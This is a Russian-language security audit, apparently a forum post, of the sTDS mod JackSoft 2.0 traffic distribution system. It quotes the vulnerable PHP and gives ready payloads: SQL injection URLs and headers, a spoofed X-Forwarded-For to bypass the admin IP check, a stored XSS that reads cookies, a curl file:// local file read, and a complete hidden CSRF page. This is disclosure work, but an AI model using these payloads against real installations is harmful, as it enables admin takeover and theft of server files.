Продукт: sTDS mod JackSoft Версия: 2.0 Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам. В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS. 1) Недостаточная фильтрация переменных. Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится. Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости. Уязвимый код: Файл got.php (Строки: 10-12) PHP: $ua=urldecode($_SERVER['HTTP_USER_AGENT']); ... if(eregi($stop_words, $ua)) $ua = eregi_replace($stop_words,'xxx',$ua); Недостаточная фильтрация переменной $ua Файл got.php (Строки: 20,85) PHP: $ref=urldecode($_SERVER['HTTP_REFERER']); ... if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref); Недостаточная фильтрация переменной $ref Файл got.php (Строки: 83,86) PHP: $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5)); ... if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref); Недостаточная фильтрация переменной $refref 2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки. Уязвимый код: Файл login.php (Строки: 21) PHP: setcookie('pwd', md5(md5($pass.$alogin)), time()+60*60*8); Флаг HttpOnly не устанавливается! 3) Обход привязки авторизации к IP адресу. Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели. Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора. Уязвимый код: Файл functions.php (Строки: 45-72) PHP: function getip(){ If (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'], "known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipList = explode (",", $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = $ipList [0]; } ... if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/", $ip) && strlen($ip)<16) { return $ip; } ... } Функция получения IP адреса текущего юзера. Как видно из кода данная функция получает IP адрес из заголовков а не реальный адрес подключившегося юзера. Такой подход недопустим при авторизации! Файл index.php (Строки: 8-26) PHP: if($is_ip_access == '1') { $is_denied = true; $ip=getip(); //IP-адрес серфера $ccc = sizeof($ip_access); for($i=0; $i<$ccc; $i++) { if(eregi("^{$ip_access[$i]}", $ip)) { $is_denied = false; break; } } if($is_denied == true) { header('HTTP/1.1 403 Forbidden'); die("<h1>403 Forbidden</h1>"); } } Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный. Пример: http://test/path_to_stds/index.php Code: X-Forwaded-For: [admin_ip] Где [admin_ip] - мы заменяем на IP адрес администратора SQL injection В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель. Зависимости: Code: register_global=ON Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection. Уязвимый код: Файл got.php (Строки: 31-43) PHP: $ipa = file(dirname(__FILE__)."/worldip/worldip.en.txt"); $sss = sizeof($ipa); for($i=0; $i<$sss; $i++) { list($a1, $a2, $a3, $a4, $a5, $a6) = split(",", trim($ipa[$i])); $ipLstart = str_replace('"', '', $a3); $ipLend = str_replace('"', '', $a4); if($ipLo >= $ipLstart && $ipLo <= $ipLend) { $cc = str_replace('"', '', $a5); $cn = str_replace('"', '', $a6); } } Если подменить IP на любой который не входит в базу WorldIP. Переменная $cc не будет инициализирована. Файл got.php (Строки: 529) PHP: $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')"; Здесь переменная $cc попадает в запрос Пример 1 Code: http://test/path_to_stds/got.php?sid=1&cc=1' Пример 2 Code: http://test/path_to_stds/got.php?sid=1&cc=1','127.0.0.1','','','Opera/9.80','','',%20'http://test1.ru/')%20--%20d SQL injection В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active (пример см. ниже), что позволит злоумышленнику украсть данные для входа в админ панель. Необходима правка заголовков HTTP пакета, данная процедура несложна, но у "начинающего" злоумышленника может вызвать затруднение. Как было написано выше, в данном приложении выбрана неправильная политика фильтрации входящих данных, что дает возможность злоумышленнику провести атаку SQL injection. Уязвимый код: Файл got.php (Строки: 10-12) PHP: $ua=urldecode($_SERVER['HTTP_USER_AGENT']); ... if(eregi($stop_words, $ua)) $ua = eregi_replace($stop_words,'xxx',$ua); Недостаточная фильтрация переменной $ua Файл got.php (Строки: 529) PHP: $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')"; Здесь переменная $ua попадает в запрос Пример: http://test/path_to_stds/got.php?sid=1 Code: User-Agent: 1' SQL injection Уязвимый код: Файл got.php (Строки: 20,85) PHP: $ref=urldecode($_SERVER['HTTP_REFERER']); ... if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref); Недостаточная фильтрация переменной $ref Файл got.php (Строки: 529) PHP: $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')"; Здесь переменная $ref попадает в запрос Пример: http://test/path_to_stds/got.php?sid=1 Code: Referer: 1' SQL injection Уязвимый код: Файл got.php (Строки: 83,86) PHP: $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5)); ... if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref); Недостаточная фильтрация переменной $refref Файл got.php (Строки: 529) PHP: $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')"; Здесь переменная $refref попадает в запрос Пример: http://test/path_to_stds/got.php?sid=1&sref=1' XSS passive Зависимости: Должен быть включен редирект с помощью JS Уязвимость эксплуатировать практически невозможно так как необходимо вынудить пользовтеля отправить сфальцифицированный Referer. Уязвимый код: Файл got.php (Строки: 20,85) PHP: $ref=urldecode($_SERVER['HTTP_REFERER']); ... if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref); Недостаточная фильтрация переменной $ref Файл got.php (Строки: 564-567) PHP: $js = file_get_contents("redirects/js.txt"); $js = str_replace("{ref}", $ref, $js); $js = str_replace("{redir_url}", $redir_url, $js); echo $js; Файл redirects/js.txt Пример: http://test/path_to_stds/got.php?sid=1 Code: Referer: ';alert('11');x=' XSS active Несложная эксплуатация данной уязвимости в совокупности с грамотным подходом, даст злоумышленнику легкий шанс попасть в админку. Классическое использование данной XSS (отправка cookies на сниффер) даст злоумышленнику два самых важных параметра, необходимых для успешной авторизации в админке: cookies и IP адрес админа. Так как в данном приложении IP адрес можно подделать, то злоумышленник сможет успешно авторизироваться в админ панели. При выполнении атаки (в отличие от классического использования) злоумышленнику не потребуется вынуждать администратора выполнять какие либо действия (перейти по ссылке), а достаточно дождаться момента когда администратор зайдет в админку чтобы просмотреть статистику. Именно в этот момент выполнится XSS. Уязвимый код: Файл got.php (Строки: 83,86) PHP: $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5)); ... if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref); Недостаточная фильтрация переменной $refref Файл got.php (Строки: 125-136) PHP: if($refref){ $refref_info=getInfo(trim($refref)); if($refref_info){ ... $se_query=(isset($refref_info['query']))?$refref_info['query']:false; } Получение компонента $se_query из переменной $refref. Это кейворд по которому юзер пришел из поисковой системы. Файл got.php (Строки: 529) PHP: $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')"; Здесь переменная $se_query попадает в запрос Файл stats.php (Строки: 633-636) PHP: echo "</td><td>"; $se_query=$line['query_string']; echo "$se_query"; echo "</td></tr>"; Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения. Пример: Code: http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22%3E111%3C/body%3E XSS код будет отображен тут: http://test/path_to_stds/stats.php File read Зависимости: Необходимы права администратора Для чтения любого локального файла необходимо создать аут с url вида: Code: f{{key}}ile://localhost/[filepath] А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом: Code: http://test/path_to_stds/got.php?sid=[schema_num] Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла Code: file://localhost/[filepath] Пример: 1) Создаем аут с Redir Type равным Curl Code: f{{key}}ile://localhost/С:/boot.ini 2) Открываем Code: http://test/path_to_stds/got.php?sid=1 CSRF Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него. К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости. Пример: Если у злоумышленника получится заманить админа на страницу со специальным содержимым. Пример: Code: <iframe name="IframeScheme" height="1px" width="1px"></iframe> <iframe name="IframeOut" height="1px" width="1px"></iframe> <form name="CreateScheme" action="http://test/path_to_stds/" method="post" target="IframeScheme"> <input name="action" type="hidden" value="add"> <input name="name" type="hidden" value="[read]"> </form> <script> function SubmitSchemeForm(){ document.CreateScheme.submit(); } SubmitSchemeForm(); </script> <form name="CreateOut" action="http://test/path_to_stds/editout.php?sid=2" method="post" target="IframeOut"> <input type="hidden" name="url" value="f{{tds-key}}://localhost/{{tds-path}}"> <input type="hidden" name="unics" value="0"> <input type="hidden" name="hits" value="0"> <input type="hidden" name="sale" value="0"> <input type="hidden" name="geo" value="ALL"> <input type="hidden" name="empty_ref" value=""> <input type="hidden" name="weight" value="1"> <input type="hidden" name="redir_type" value="curl"> <input type="hidden" name="active" value="true"> <input type="hidden" name="out_isparam" value="true"> <input type="hidden" name="sid" value="2"> <input type="hidden" name="action" value="add"> </form> <script> function SubmitOutForm(){ document.CreateOut.submit(); } setTimeout(SubmitOutForm, 5000); </script> То после этого злоумышленник получит возможность читать любой файл: Code: http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid